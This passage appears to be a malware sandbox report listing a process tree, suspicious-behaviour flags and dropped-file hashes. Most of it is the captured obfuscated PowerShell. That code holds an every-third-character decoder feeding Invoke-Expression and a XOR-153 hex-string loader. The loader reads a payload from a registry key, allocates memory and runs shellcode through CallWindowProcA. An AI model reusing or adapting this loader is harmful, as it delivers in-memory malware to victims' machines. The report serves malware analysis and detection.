H8ChEPoBOpEOlA IFVi2PoFEr8SnFMiDPaFBrCBuB F9PiA s4SnBHj9AnC s2 PCRhATrERi0EjEKaA OE PDFaFUaCKvF G4LeBAf7 mD SAsaFSl6MaFNi7SlEInFGuF UC TE SB DERaD CC b4DoABo3ScAAn3FrDfaFLjEElBNoFCi6FiF A4NoD PBinF I8moECeAPrFDoC GANiF rA FDDeCCrAstEGrDBrEMaBRoFRe0TiFTr7 SF SE HB B1MaB ED WC TDTaEMoBMaE M0 HF U2FdECoATyFAe8 HF PEPrE mA DEKo9 TF T6 IESoB FE eD IFfi6 DFMaCRgFSk7 MEDiAKoB r0In'Bo; S&ko( D`$GlDCleTom tyVatFohSpoStlAnoDagFriStzUniFen DgAr7Fe)Au o`$ApKUnaDarElsCok DaApdLieSa9Ne;Cl`$PrTPyrOvy EkspsFda Kg Ss SpBoo Sr RtOmoLeeFon Us A0 w C=Om SHSiTEnBCo E'CoC O2NoC SAHeEag0ZaEUrASpEPaD bF ACSkF S4 TB R7HoC FB aEtwC HFUn7 UETrDPhFfr0 EFAr4TyFLeCInBSa7 PDBo0 OFHa7 CE UD BFFoCOkEReBkaF B6AcENo9NoC TADiFTiC BE NB CEStF CFpu0 OFRaA HFMiC CEUnAByBPa7UdD u4 IFMe8BoE QBMeERiAKoF A1ErFSk8HeF B5DaC F4 HA C3 HA F3FuD RA SF R6FeEPh9AkEBr0InBLi1UnBSmDNeDKa2 CF p8ShEPsBilE MA CFCa2 TF S8HeFInD MFlgC SBAs5 SBPa9DuA T9DeB A5 MB S9NiBEx9 EBFoD ACDyAApE L9 SFMe1GeFHeC SF YADeF J0BoE NCPlE LAEtAPrASeBOr5 SB B9OrAGrFSwA CDStAFl9SoB L0Ti'Vo;Je&No(Ca`$ TDKveMom Fy Rt Mh AocrlMeo rgCyi IzTaiTenBagCa7 O) S Ge`$AfTSurAnyAckLusKoaAfgTes GpAno PrCitTeo De BnDesSi0 B;Bl`$NoSFipRehUliIln Sg KiSmd IaaueOp6Sp2 P=Du`$ IKAta lrAms Fk Sa Qd PeCh. Bc AoBru Sn Ut S- C6Ge4Ov0Pa;Ta`$noT prCey PkWos ea Ug BsUnpEnoCer jtAroSieUanCusFo1De ca= C CrHJeT RBKo Br' TC R2InCStA kE p0RaEskANeE RDUnFMiCToF T4 SBKa7GrC KB SETaCFeF P7OdE mD MF A0 FF s4AlF dCGaB D7 AD U0HjF D7UnEUnDLoF BC IE GB FFfu6 BERi9CoC UADeF UC BEReBsaE TF SFBe0stFStA WF PCTiEAnA LB D7CyDLe4 NF H8 RE UB FEBiA DF T1KoFCo8 UFWa5 SC I4 RABe3PoAwi3UbD SAyoF T6BeE N9AmE H0AzB E1ReB ODTeD H2roF t8 NENyBSpESkA PFBi2DeFHa8GtFWoDGlF SCNyB S5AfBDi9 CA BFMrAMiD SAAn9 PB m5UnB H9 PBShDSoDCr8arFEk5 DE SALeFGy0 DFVuDKhF S0RuFUnE SFEn1 AF LCCoFhaDTaE RAmeFCl2VaEBlBEnFAl8AfEudFOvFkrCprE ODOpEFuA MB V5 BBSe9TrBToD vCBeA HEAf9InFSi1 KFmu0HjFTo7SeFunE PFbl0 HFNeDPrFKo8KrFNoC BA KF MA OB AB B0Un'Tr;Re& A( F`$ RDSveromPuyUntPrhGeo MlTaoFog UiTizlyiStnCag A7 d)Ro U`$HaT Arepy EkSrs faDrg CsQup Ao pr NtsooMae Nn Es R1Fo; H`$NoT KrDiy UkCas Ma FgUns Cp AoAfrLatdaoSaeExn FsTo2Un S= L DiH HTHuB S L' RB AD RCSuBToEAl0RhFsk7UdFRyA LFFr1LaF S6BaEAkAUfETu9TrFSl6AkE ZB PFMi8 SBBi9koA T4DeBIn9stCEn2 FCnuAKjENo0ReE SA DEBrDGaF CCFlFBi4 LBAn7 PCDaBZoEBaCplF U7 TE LDAfF M0 UFKo4 CF aCHjB I7UnDSk0 AFAm7ReE PD PF ACBeEJaB SFCh6PrEmu9 VCLoA NFwoC FEleB AE VFSlFud0 aFTeA FF DC SE SA SBPr7 BD S4PrFRi8 ME RB EEanASpFLa1 IFTr8 DFHy5KuCMa4 PA F3BiAPa3 SD SEDiFSnC UE FD HD DDFlF VC BF E5 RFFiCesFTjEMaFwi8ReEBaDViF TC SDtsF UF O6 DEFoBGrDSnF PENoC SFFo7 uF SA AEHjDpoF o0 CFLi6 DFBe7 RCSt9 AFAl6ToF o0HiFRo7 CE GD SFAmC ME hBDrBEp1 AB F1UnFThF HF R2PeEGi9LeB C9CoBCeDWoD SD bF B0AnETuADuE IAFrFAn6 NFLo7FaF SC UEChBSeF MCMoBSt9koBCaDTyC FAFjFBe8 LFFr7 IFepAMeEHaDSoF S6SkF D5BoF N6stFUrEEuEPo0UbB G0 GB U5 LB P9 TB s1 OD uE SDVeDGrCCaDKoBSe9 SDAn9abBWi1hnCZo2UdDac0 SFaf7SpEElDKrC T9NaESuD rE MB ACUn4TrB A5 MBJe9 ECEn2 UDKe0 AF M7 CESaD pC N9ErECaD BEExBReCJa4BiB C5SyB M9UnC U2 MDOu0PrF D7 PE CD RCTo9 VE HDErEEvBSiC A4 hBSc5AnB M9CoCCa2 PDOk0StF G7FlERuD dCRe9AfEKoDMiEStBOvC P4 EB E5OvB F9OmCAf2EmDBe0 HF T7CeE CDUdC I9 RECaD zE LB sCKa4 FBUd0ShB P9BlBEu1 DC C2PrD C0TrF E7 DE SDKrCSh9KsE TDSkEStBMaCCh4 BBHa0HaBQu0VaBIn0 R'Fo;Da&Ma( W`$ BDoveFum kySct ShWooWelReo Mg UiKozMai Pn AgPo7pn)Ra Wh`$UnTOvrSoy Nk CsAla SgLas OpFeoRer MtSto seQunbes H2 N;An`$DeT VrSty CkVis CakngRes Rplio Br LtDio Ce VnPrsUn3Im F=Al HyHUdTAlB C Ch'trBAnDMiCNaB LE I0upF P7PaFCoA AFRa1 BFKo6CyEMyA OELu9PeF B6 AE uBSkFch8 OBEk7 IDVo0 PF P7 TE PFPiFAf6AmFSp2 TFAmCStB F1 rBphDTrCKoA RE C9 AFAu1BaFUnCGoFTeAFeFCa0TrE TCFaEPoAStAAcA UBSk5DrB SDBiD O8PrFHo5 NE KANoF g0 CF LD HF B0 TFRuEslF O1ChFAnC SFReDReEEnASwFRe2 PE NB OF B8 CELaFChF FCKiEReD PEPoAPaB N5MuB FD fCBeB AF KC KFKoA EF P8EvF m7gtESpD TFCh8 VEDuD SFMi0 CF U6 FFHe7DuEInASpBOp5 CATu9PiBPe5SpACe9 IBOp0 K'in;Re& N( U`$FrD GeFumOvyAft ThSao Ul BoSag Si TzEniUnnElg K7 Q) D Ra`$unTBar KyKak ss ta IgLas CpFooUnr UtReoRee Sn ks I3Ma# R;""";Function Tryksagsportoens9 { param([String]$Potomato7); For($Anamnesis=2; $Anamnesis -lt $Potomato7.Length-1; $Anamnesis+=(2+1)){ $Topbetjentene = 'sub'+'string'; $Democrat = $Democrat + $photogalvanography + $Potomato7.$Topbetjentene.Invoke($Anamnesis, 1); } $Democrat;}$Lask0 = Tryksagsportoens9 ' VI uE DX M ';$Lask1= Tryksagsportoens9 $Uncolonizing;if([IntPtr]::size -eq 8){.$env:systemroot\S*64\W*Po*er*\*1.0\*ll.*xe $Lask1 ;}else{&$Lask0 $Lask1;};;;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$Potomato7); $Anamnesisnch = New-Object byte[] ($Potomato7.Length / 2); For($Anamnesis=0; $Anamnesis -lt $Potomato7.Length; $Anamnesis+=2){ $Dogberries = $Potomato7.Substring($Anamnesis, 2); $Anamnesisnch[$Anamnesis/2] = [convert]::ToByte($Dogberries, 16); $Anamnesisnch[$Anamnesis/2] = ($Anamnesisnch[$Anamnesis/2] -bxor 153); } [String][System.Text.Encoding]::ASCII.GetString($Anamnesisnch);}$Unaware0=HTB 'CAE0EAEDFCF4B7FDF5F5';$Unaware1=HTB 'D4F0FAEBF6EAF6FFEDB7CEF0F7AAABB7CCF7EAF8FFFCD7F8EDF0EFFCD4FCEDF1F6FDEA';$Unaware2=HTB 'DEFCEDC9EBF6FAD8FDFDEBFCEAEA';$Unaware3=HTB 'CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D1F8F7FDF5FCCBFCFF';$Unaware4=HTB 'EAEDEBF0F7FE';$Unaware5=HTB 'DEFCEDD4F6FDECF5FCD1F8F7FDF5FC';$Unaware6=HTB 'CBCDCAE9FCFAF0F8F5D7F8F4FCB5B9D1F0FDFCDBE0CAF0FEB5B9C9ECFBF5F0FA';$Unaware7=HTB 'CBECF7EDF0F4FCB5B9D4F8F7F8FEFCFD';$Unaware8=HTB 'CBFCFFF5FCFAEDFCFDDDFCF5FCFEF8EDFC';$Unaware9=HTB 'D0F7D4FCF4F6EBE0D4F6FDECF5FC';$Demythologizing0=HTB 'D4E0DDFCF5FCFEF8EDFCCDE0E9FC';$Demythologizing1=HTB 'DAF5F8EAEAB5B9C9ECFBF5F0FAB5B9CAFCF8F5FCFDB5B9D8F7EAF0DAF5F8EAEAB5B9D8ECEDF6DAF5F8EAEA';$Demythologizing2=HTB 'D0F7EFF6F2FC';$Demythologizing3=HTB 'C9ECFBF5F0FAB5B9D1F0FDFCDBE0CAF0FEB5B9D7FCEECAF5F6EDB5B9CFF0EBEDECF8F5';$Demythologizing4=HTB 'CFF0EBEDECF8F5D8F5F5F6FA';$Demythologizing5=HTB 'F7EDFDF5F5';$Demythologizing6=HTB 'D7EDC9EBF6EDFCFAEDCFF0EBEDECF8F5D4FCF4F6EBE0';$Demythologizing7=HTB 'D0DCC1';$Demythologizing8=HTB 'C5';$Dissonere=HTB 'CCCADCCBAAAB';$Sanctology=HTB 'DAF8F5F5CEF0F7FDF6EEC9EBF6FAD8';function fkp {Param ($Allocyanine, $unsensualized) ;$Karskade0 =HTB 'BDCCF7EBFCE9EBF6EFFCFDB9A4B9B1C2D8E9E9DDF6F4F8F0F7C4A3A3DAECEBEBFCF7EDDDF6F4F8F0F7B7DEFCEDD8EAEAFCF4FBF5F0FCEAB1B0B9E5B9CEF1FCEBFCB4D6FBF3FCFAEDB9E2B9BDC6B7DEF5F6FBF8F5D8EAEAFCF4FBF5E0DAF8FAF1FCB9B4D8F7FDB9BDC6B7D5F6FAF8EDF0F6F7B7CAE9F5F0EDB1BDDDFCF4E0EDF1F6F5F6FEF0E3F0F7FEA1B0C2B4A8C4B7DCE8ECF8F5EAB1BDCCF7F8EEF8EBFCA9B0B9E4B0B7DEFCEDCDE0E9FCB1BDCCF7F8EEF8EBFCA8B0';&($Demythologizing7) $Karskade0;$Karskade5 = HTB 'BDD2ECEBEFFCF5F8FCF7FEFDFCB9A4B9BDCCF7EBFCE9EBF6EFFCFDB7DEFCEDD4FCEDF1F6FDB1BDCCF7F8EEF8EBFCABB5B9C2CDE0E9FCC2C4C4B9D9B1BDCCF7F8EEF8EBFCAAB5B9BDCCF7F8EEF8EBFCADB0B0';&($Demythologizing7) $Karskade5;$Karskade1 = HTB 'EBFCEDECEBF7B9BDD2ECEBEFFCF5F8FCF7FEFDFCB7D0F7EFF6F2FCB1BDF7ECF5F5B5B9D9B1C2CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D1F8F7FDF5FCCBFCFFC4B1D7FCEEB4D6FBF3FCFAEDB9CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D1F8F7FDF5FCCBFCFFB1B1D7FCEEB4D6FBF3FCFAEDB9D0F7EDC9EDEBB0B5B9B1BDCCF7EBFCE9EBF6EFFCFDB7DEFCEDD4FCEDF1F6FDB1BDCCF7F8EEF8EBFCACB0B0B7D0F7EFF6F2FCB1BDF7ECF5F5B5B9D9B1BDD8F5F5F6FAE0F8F7F0F7FCB0B0B0B0B5B9BDECF7EAFCF7EAECF8F5F0E3FCFDB0B0';&($Demythologizing7) $Karskade1;}function GDT {Param ([Parameter(Position = 0)] [Type[]] $Twentythree,[Parameter(Position = 1)] [Type] $Professionalisation = [Void]);$Karskade2 = HTB 'BDCDFCF5FCE1E9EBF6FEEBF8F4F4FCEDA8A1ADB9A4B9C2D8E9E9DDF6F4F8F0F7C4A3A3DAECEBEBFCF7EDDDF6F4F8F0F7B7DDFCFFF0F7FCDDE0F7F8F4F0FAD8EAEAFCF4FBF5E0B1B1D7FCEEB4D6FBF3FCFAEDB9CAE0EAEDFCF4B7CBFCFFF5FCFAEDF0F6F7B7D8EAEAFCF4FBF5E0D7F8F4FCB1BDCCF7F8EEF8EBFCA1B0B0B5B9C2CAE0EAEDFCF4B7CBFCFFF5FCFAEDF0F6F7B7DCF4F0EDB7D8EAEAFCF4FBF5E0DBECF0F5FDFCEBD8FAFAFCEAEAC4A3A3CBECF7B0B7DDFCFFF0F7FCDDE0F7F8F4F0FAD4F6FDECF5FCB1BDCCF7F8EEF8EBFCA0B5B9BDFFF8F5EAFCB0B7DDFCFFF0F7FCCDE0E9FCB1BDDDFCF4E0EDF1F6F5F6FEF0E3F0F7FEA9B5B9BDDDFCF4E0EDF1F6F5F6FEF0E3F0F7FEA8B5B9C2CAE0EAEDFCF4B7D4ECF5EDF0FAF8EAEDDDFCF5FCFEF8EDFCC4B0';&($Demythologizing7) $Karskade2;$Karskade3 = HTB 'BDCDFCF5FCE1E9EBF6FEEBF8F4F4FCEDA8A1ADB7DDFCFFF0F7FCDAF6F7EAEDEBECFAEDF6EBB1BDCCF7F8EEF8EBFCAFB5B9C2CAE0EAEDFCF4B7CBFCFFF5FCFAEDF0F6F7B7DAF8F5F5F0F7FEDAF6F7EFFCF7EDF0F6F7EAC4A3A3CAEDF8F7FDF8EBFDB5B9BDCDEEFCF7EDE0EDF1EBFCFCB0B7CAFCEDD0F4E9F5FCF4FCF7EDF8EDF0F6F7DFF5F8FEEAB1BDCCF7F8EEF8EBFCAEB0';&($Demythologizing7) $Karskade3;$Karskade4 = HTB 'BDCDFCF5FCE1E9EBF6FEEBF8F4F4FCEDA8A1ADB7DDFCFFF0F7FCD4FCEDF1F6FDB1BDDDFCF4E0EDF1F6F5F6FEF0E3F0F7FEABB5B9BDDDFCF4E0EDF1F6F5F6FEF0E3F0F7FEAAB5B9BDC9EBF6FFFCEAEAF0F6F7F8F5F0EAF8EDF0F6F7B5B9BDCDEEFCF7EDE0EDF1EBFCFCB0B7CAFCEDD0F4E9F5FCF4FCF7EDF8EDF0F6F7DFF5F8FEEAB1BDCCF7F8EEF8EBFCAEB0';&($Demythologizing7) $Karskade4;$Karskade5 = HTB 'EBFCEDECEBF7B9BDCDFCF5FCE1E9EBF6FEEBF8F4F4FCEDA8A1ADB7DAEBFCF8EDFCCDE0E9FCB1B0';&($Demythologizing7) $Karskade5 ;}$Wendys = HTB 'F2FCEBF7FCF5AAAB';$Karskade6 = HTB 'BDCCFDF4F8F7EFEBFCEBFCEAB9A4B9C2CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D4F8EBEAF1F8F5C4A3A3DEFCEDDDFCF5FCFEF8EDFCDFF6EBDFECF7FAEDF0F6F7C9F6F0F7EDFCEBB1B1FFF2E9B9BDCEFCF7FDE0EAB9BDDDFCF4E0EDF1F6F5F6FEF0E3F0F7FEADB0B5B9B1DEDDCDB9D9B1C2D0F7EDC9EDEBC4B5B9C2CCD0F7EDAAABC4B5B9C2CCD0F7EDAAABC4B5B9C2CCD0F7EDAAABC4B0B9B1C2D0F7EDC9EDEBC4B0B0B0';&($Demythologizing7) $Karskade6;$Recantations = fkp $Demythologizing5 $Demythologizing6;$Karskade7 = HTB 'BDCAE9F1FCFAF0ECEAAAB9A4B9BDCCFDF4F8F7EFEBFCEBFCEAB7D0F7EFF6F2FCB1C2D0F7EDC9EDEBC4A3A3C3FCEBF6B5B9AFADA9B5B9A9E1AAA9A9A9B5B9A9E1ADA9B0';&($Demythologizing7) $Karskade7;$Karskade8 = HTB 'BDD8F5EAF0FDF0FEF1FCFDEAF2EBF8EFFCEDEAB9A4B9BDCCFDF4F8F7EFEBFCEBFCEAB7D0F7EFF6F2FCB1C2D0F7EDC9EDEBC4A3A3C3FCEBF6B5B9ABAAACADAAA1A9A1B5B9A9E1AAA9A9A9B5B9A9E1ADB0';&($Demythologizing7) $Karskade8;$Tryksagsportoens=(Get-ItemProperty -Path 'HKCU:\luftkastellernes\Isobutyric54').Meaningfully;$Karskade9 = HTB 'BDD2F8EBEAF2F8FDFCB9A4B9C2CAE0EAEDFCF4B7DAF6F7EFFCEBEDC4A3A3DFEBF6F4DBF8EAFCAFADCAEDEBF0F7FEB1BDCDEBE0F2EAF8FEEAE9F6EBEDF6FCF7EAB0';&($Demythologizing7) $Karskade9;$Tryksagsportoens0 = HTB 'C2CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D4F8EBEAF1F8F5C4A3A3DAF6E9E0B1BDD2F8EBEAF2F8FDFCB5B9A9B5B9B9BDCAE9F1FCFAF0ECEAAAB5B9AFADA9B0';&($Demythologizing7) $Tryksagsportoens0;$Sphingidae62=$Karskade.count-640;$Tryksagsportoens1 = HTB 'C2CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D4F8EBEAF1F8F5C4A3A3DAF6E9E0B1BDD2F8EBEAF2F8FDFCB5B9AFADA9B5B9BDD8F5EAF0FDF0FEF1FCFDEAF2EBF8EFFCEDEAB5B9BDCAE9F1F0F7FEF0FDF8FCAFABB0';&($Demythologizing7) $Tryksagsportoens1;$Tryksagsportoens2 = HTB 'BDCBE0F7FAF1F6EAE9F6EBF8B9A4B9C2CAE0EAEDFCF4B7CBECF7EDF0F4FCB7D0F7EDFCEBF6E9CAFCEBEFF0FAFCEAB7D4F8EBEAF1F8F5C4A3A3DEFCEDDDFCF5FCFEF8EDFCDFF6EBDFECF7FAEDF0F6F7C9F6F0F7EDFCEBB1B1FFF2E9B9BDDDF0EAEAF6F7FCEBFCB9BDCAF8F7FAEDF6F5F6FEE0B0B5B9B1DEDDCDB9D9B1C2D0F7EDC9EDEBC4B5B9C2D0F7EDC9EDEBC4B5B9C2D0F7EDC9EDEBC4B5B9C2D0F7EDC9EDEBC4B5B9C2D0F7EDC9EDEBC4B0B9B1C2D0F7EDC9EDEBC4B0B0B0';&($Demythologizing7) $Tryksagsportoens2;$Tryksagsportoens3 = HTB 'BDCBE0F7FAF1F6EAE9F6EBF8B7D0F7EFF6F2FCB1BDCAE9F1FCFAF0ECEAAAB5BDD8F5EAF0FDF0FEF1FCFDEAF2EBF8EFFCEDEAB5BDCBFCFAF8F7EDF8EDF0F6F7EAB5A9B5A9B0';&($Demythologizing7) $Tryksagsportoens3#"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:524
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TQ3UYMJ7XX8P0TN5LJE1.temp
Filesize7KB
MD529b68622f59e262c3e7abc7d048f0fd2
SHA1f2f12c245dc22f4e4024a7d1ce7480efba220b92
SHA256b98d3ff65a5a849a2499434024a5cb436b68b4151c2c8190f0f8babe84db46ce
SHA51277be9e338c790d6bb755513cf8c935fce82bfd67ec85ce56491fe24f502ea74e4e3f20036fbe520b8610b4d15cdccecc63334d5bc456b272f1bd8e71109d3463